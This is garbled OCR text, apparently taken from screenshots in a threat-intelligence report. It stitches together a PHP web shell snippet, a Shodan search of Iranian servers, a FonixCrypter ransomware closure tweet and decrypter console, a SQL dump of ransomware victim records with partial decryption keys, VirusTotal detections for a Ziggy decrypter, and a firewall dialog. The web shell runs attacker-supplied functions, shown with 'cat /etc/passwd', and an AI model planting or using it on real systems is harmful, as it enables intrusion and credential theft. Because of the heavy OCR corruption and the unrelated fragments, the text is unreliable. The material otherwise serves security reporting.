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@S_++;
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<?ph

‘php
// Adversary sends POST with variable 'l' = 'system' and '2' = 'cat /etc/passwd’
$_=%_POST['1'];
$__=%$_POST['2'];

//The following will now be equivalent to running -> system('cat /etc/passwd’');

$_(%_);
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€ C' @ shodanio/search?query=web+server+country®3A

'. SHODAN web server country:"IR”

4, Exploits % Maps % Images % Share Search & Download Results | Create Report

New Service: Keep track of what you have connected to the Internet. Check out Shodan Monitor
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= Iran

Hosts: 80286

Iran, Islamic Republic of 80,286 Al 2

Tenran 4584
Kerman 146
Shirvan 42
Wazd 267
Sanandi 260
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static void handleCharacters(Context *context,
const xmlCh *chars,
int Llength)

easy_setopt(conn, CURLOPT_FOLLOWLOCATION,

(code != CURLE_OK)

fprintf(stderr, "Failed to set redirect option [%¥s]\n",

append((char *)chars, lemgth);

n, CURLOPT_WR

t *context = (

return 1
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Xcode: https://support.apple.com/en-us/HT212153

iCloud for Windows: https://support.apple.com/en-us/HT212145

i0S & iPadOS: https://support.apple.com/en-us/HT212146

tvOS: https://support.apple.com/en-us/HT212149

watchQS: https://support.apple.com/en-us/HT212148

macOS: https://support.apple.com/en-us/HT212147 | https://support.apple.com/en-us/HT212177
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https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware
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End of FonixCrypter Project :
#Fonix #ransomware #XINOF #FonixCrypter #close_project
#hack #Malware #raas #ransomware_as_a_service

I'm one fonix team admins.

you know about fonix team but we have come to the conclusion.

we should use our abilities in positive ways and help others.

Also ransomware source is completely deleted , but some of team members
are disagree with closure of the project , like telegram channel admin who
trying to scam people in telegram channel by selling fake source and data.
Anyway now main admin has decided to put all previous work aside and

decrypt all infected systems at no cost.
And the decryption key will be available to the public.
The final statement of the team will be announced soon.

Regards-FonixTeam

3:20 PM - Jan 29, 2021 ®

Q6 QO 2 & Copylinkto Tweet
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. 8 | CAUsers\User\Downloads\Fonix_decrypter\Fonix decrypter ServerDecrypterexe
Lacked . Enter Password : 215765
FonixRansomware Decrypter Uersiond.@i
.Decrypt Key [partl] :
.Decrypt k from file[partl]:

Decode Basedd key [part2]
.Decrypt all File [Admin]:

Decrypt Big-Binary File [Admin]:

.nécrgpt Mon-Binary File [Admin]:
.Decrypt Zip File [Admin]:
.Key Generator [Raas]:

wuspttention Decrypted Key Saue as Dec.key
Enter Mumber : _
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4 pasgit

SET SQL_MODE = “NO_AUTO_VALUE_ON_ZERD";!

START TRANSACTION;+

SET time_zone = “+00:08";4

CREATE TABLE “rdps’ (¢
“id” Ant(255) MOT MULL,+
“unique_id” varchar{2@) MOT NULL,!
“hard_size” varchar(2@) NOT NULL,.
“encryption_time” varchar(20) NOT MULL,*
“cpu_name” varchar(3e) MOT NULL,
“ram_size’ varchar{2@) MOT NULL,!
“os_name” varchar(3@) MOT NULL,!
“authentication_key  wvarchar(158) WOT MULL,*
“decryption_keyl™ varchar(S000) WOT MULL,
“decryption_key?' varchar(5608) HOT NULL!

) ENGINE=MyISAM DEFAULT CHARSET=latini;i

Dumping data for table “rdps’+

INSERT INTO “rdps” ("id™, “unique_id™, "hard_size’, “encryption_time’, “cpu_name” , “ram_size’, “os_name’, “authentication_key , “decryption_keyl™, “decryption_key2 )} VALUES!
(15, "9AFeB422°, “27,1 GB', "2020-12-91-10-8', 'Intel(R) Xeon(R} CPU X5668 @ 2.B0GH ‘7,6 GB', 'Microsoft windows Serw 2012 ', ‘viek SGeGkUhi EXMIS6exnsFRUsY 36YXe20Zk
(17, "9AF@BAZ1", "27,1 GB', "7020-11-81-18-72', ‘Intel(R) Xeon(R) CPU X ‘Microsoft Windows Server 2012 ', 'XS3zFBRn3ir GuRHE ] jGaL a6l3f1
(s, ‘| 'ama . (R) Y £Bill QT PCPQL IBSGTAYR] rHzmg R/ gLEHS
', "32,7 6B', "2020-12-01-9-2%', 'Intel{R) CPU  X5608 -

‘s 32,6 GB', "2020-12-01-7-58", 'Intel(R) CPU  X5660
(12, "OAF@SA22°, "32,6 GB', "2020-12-91-7-48', 'Intal(R) CPU  X5668
(11, "0AFGR422°, "32,6 G "Intel(R) R) CPU X5660
INTG “rdps (Cid, “unique_id, “hard_size’, “encryption_time , “cpu_name , ram_size , ~os_name , " e i , “decryption_keyz ) VALUES)
(18, “AAFCFE43°, "16,8 GB', *2020-12.81-18.46', ‘Intel Core Processor (Haswell, no TSX)', 2,8 GB', °b
(19, "JAEGTGE?, '14.8 GB', '2020-12-01-11-6', 'Intel(R) Xeon(R) CPU E5-2630 v4 § 2.20GHz’, "16.8 G8',
(20, "7E919ABA°, "57.9 GB', "2020-12-91-11-59°, 'Intel(R) Xeon(R) CPU ES5-2620 v4 @ 2.10Gl
(21, "oAF@RAZ2", "27,1 GB', "I020-12-91-13-18', 'Intel(R) Xeon(R) CPU X

(22, "IE b1, * *2020-12-91-13-6", 'Intel(R) Xo R) CPU E3-1248 V2 @ 3.40GHz",
(23, "ME676E7°, '35.2 GB', '2020-12-91-13-57', 'Intel{R) Xeon(R) CPU ES-2630 v4 @ 2.20GHz', '16.8 G8', '
(24, °"34E67T6ET", "35.2 GB', "2020-12-81-13-59', 'Intel(R) Xe: . '16.8 6B*, *

adf7

PFymi

‘2020-12-81-18-56', 'Inte

2012
12 ',
2012 *,

‘Microsoft ndows

'y "7,6 GB', "Microsoft windows

7.6 GB', soft Windows

‘7,6 GB'

- " ®w®

*2020-12

46 GB', GHUATpCoRg

', ‘Tedlduoza1gdnkrHzKpll JBIHIon6THSGEZT 15931
2006 ', 'PS/OKXKAYEXVWRagLsAMIMIS] IGGEFHLT/ Vi fXe
ndows Server 2012 ', b G CHOL!
s Server 2012 ' oY 7afsleR/haelH1E
JgSFECITCEIWIN.

Dwanc

§ 2.B0GHI",

(R} CPU E5-2638 vd @ 2.206
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https://www.bleepingcomputer.com/news/security/ziggy-ransomware-shuts-down-and-releases-victims-decryption-keys/
https://www.bleepingcomputer.com/news/security/ziggy-ransomware-shuts-down-and-releases-victims-decryption-keys/
https://www.virustotal.com/gui/file/797bdab07c0b265bab51393b655f65b4c3c5bf433eff53906c29351e10d6b905/detection
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23

170
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x Commurity
Score

DETECTION

Ad-Aware

AlYac

Arcabit

BitDefenderTheta

Cynet

Emsisoft

FireEye

GData

MAX

McAfee-GW-Edition

Sangfor Engine Zero

Sophos

@ 23 engines detected this file

797bdab07c0b265bab51393b655165b4c3c5bf433eff53906c29351e10d6bF05

Ziggy ransomware decrypt.exe

assembly

DETAILS

detect-debug-environment

RELATIONS BEHAVIOR

(D) Trojan.GenericKD.36312557
(D) Trojan.GenericKD.36312557
® Trojan.Generic.D22A15ED

® Gen:NN.ZemsilF 34804 Im0@aWCOFFk
® Malicious (score: 100)

(D) Trojan.GenericKD.36312557 (8)
(D) Trojan.GenericKD.36312557
(D) Trojan.GenericKD.36312557
® Malware (ai Score=85)

® Artemis! Trojan

® TrojanWin32 Save.a

(D) MaliGenasom-A

direct-cpu-clock-access  peexe

COMMUNITY

runtime-modules

AegisLab

SecureAge APEX

BitDefender

Cylance

Cyren

eScan

Fortinet

Malwarebytes

McAfee

Microsoft

SentinelOne (Static ML)

Acronis

553.00 KB

Size

© e e e e e e e oo o 6
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https://www.emsisoft.com/ransomware-decryption-tools/ziggy

000
~ o8 (D
= 8

2021-02-09 12:27:03UTC
43 minutes ago

TrojanWin32 Generic.4lc
Malicious
Trojan.GenericKD.36312557
Unsafe
W32(Trojan.SGPA-1007

Trojan.GenericKD.36312557

MSIL/Filecoder1Cé1ltr.ransom

Generic Malware/Suspicious

Artemis!1149FAE41035

Trojan:Win32/Wacatac.B!ml

Static Al - Suspicious PE

Undetected
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Create the secure storage master key

What's the seoure storage master key?
The secure storaga master Key provides extra protection in backups and imported configurations
for account and password details stored on the firewall

Until you create the master key, scheduled backups will run, but won't benefit from the extra
protection. For more details, go to Secure storage master key

When do you need Lo use the master key?
You nead the master Key when you rastora a backup or import a configuration. This Key is in
addition ta the backup encryption password

Can you reocaver the master key?
If you lose the secure storage master Key, you can't recover it. You can create a new ane, but you
can‘t restore backups or configurations created with the lost Key,

Store the master Key safely in a password managemeant system or another secure location.

Skip for now Create key
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